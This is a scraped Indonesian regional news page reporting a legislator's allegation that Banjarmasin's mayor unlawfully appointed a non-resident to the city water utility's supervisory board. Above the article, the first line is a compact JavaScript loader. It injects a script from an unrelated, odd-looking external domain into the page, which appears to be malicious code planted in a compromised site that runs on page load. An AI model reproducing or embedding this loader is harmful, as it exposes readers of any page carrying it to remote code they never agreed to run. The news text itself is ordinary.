(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Lagi, Keputusan Walikota Ibnu Sina terkait Penetapan Dewan Pengawas PDAM Disoal


BANJARMASIN, Sejumlah kebijakan Walikota Banjarmasin Ibnu Sina nampaknya tak pernah sepi dari protes atau kontroversi. Belum tuntas permasalahan dengan bekas Sekdako Banjarmasin Hamli yang diberhentikan dan rencana gugatan dari Ombudsman Kalsel terkait penerbitan SK pencopotan Sekda, kini anggota DPRD Kalsel menilai penetapan Ikhsanuddin sebagai Dewan Pengawas PDAM Bandarmasih telah melanggar Kemendagri.

Hal tersebut disampaikan salah satu anggota DPRD Kalsel Puar Djunadi, Senin (28/5). Dia mengatakan, penetapan Ikhsanuddin keliru, karena yang bersangkutan bukan berdomisili di Kota Banjarmasin.

Padahal dengan kebijakan tersebut telah menimbulkan beban biaya yang dikeluarkan oleh PDAM Bandarmasih atas jabatan dan jasanya sebagai dewan pengawas.

“Kebijakan itu merupakan penyalahgunaan kewenangan atas jabatan, karena bertentangan dengan ketentuan peraturan yang berlaku,” jelasnya.

Puar menilai, kebijakan yang salah itu sengaja dilakukan karena begitu terjadi kasus Operati Tangkap Tangan (OTT) KPK suap dana pernyertaan modal PDAM Bandarmasih, Ikhsanuddin mengundurkan diri. “Atas kebijakan itu, maka Wali Kota Banjarmasin Ibnu Sina dapat diproses hukum, bahkan dipidanakan,” tegas Puar.

Dia bahkan minta aparat penegak hukum untuk dapat menindaklanjuti dan melakukan penyelidikan atas penetapan Dewan Pengawas PDAM Banjarmasin. Sebab hukum tidak pandang bulu, siapa pun yang bersalah harus diproses sesuai ketentuan yang berlaku, dan kalau memang terbukti bersalah harus dipidanakan.

Sementara Walikota Ibnu Sina saat dikonfirmasi di kantor balai kota Banjarmasin hanya tersenyum tanpa memberikan tanggapan lebih dalam. “Ngga usah ditanggapilah perkataan Sidin (Puar Djunaidi),” katanya. (ammar)

Reporter:Ammar
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

28 menit ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

52 menit ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

1 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

4 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

4 jam ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

5 jam ago

This website uses cookies.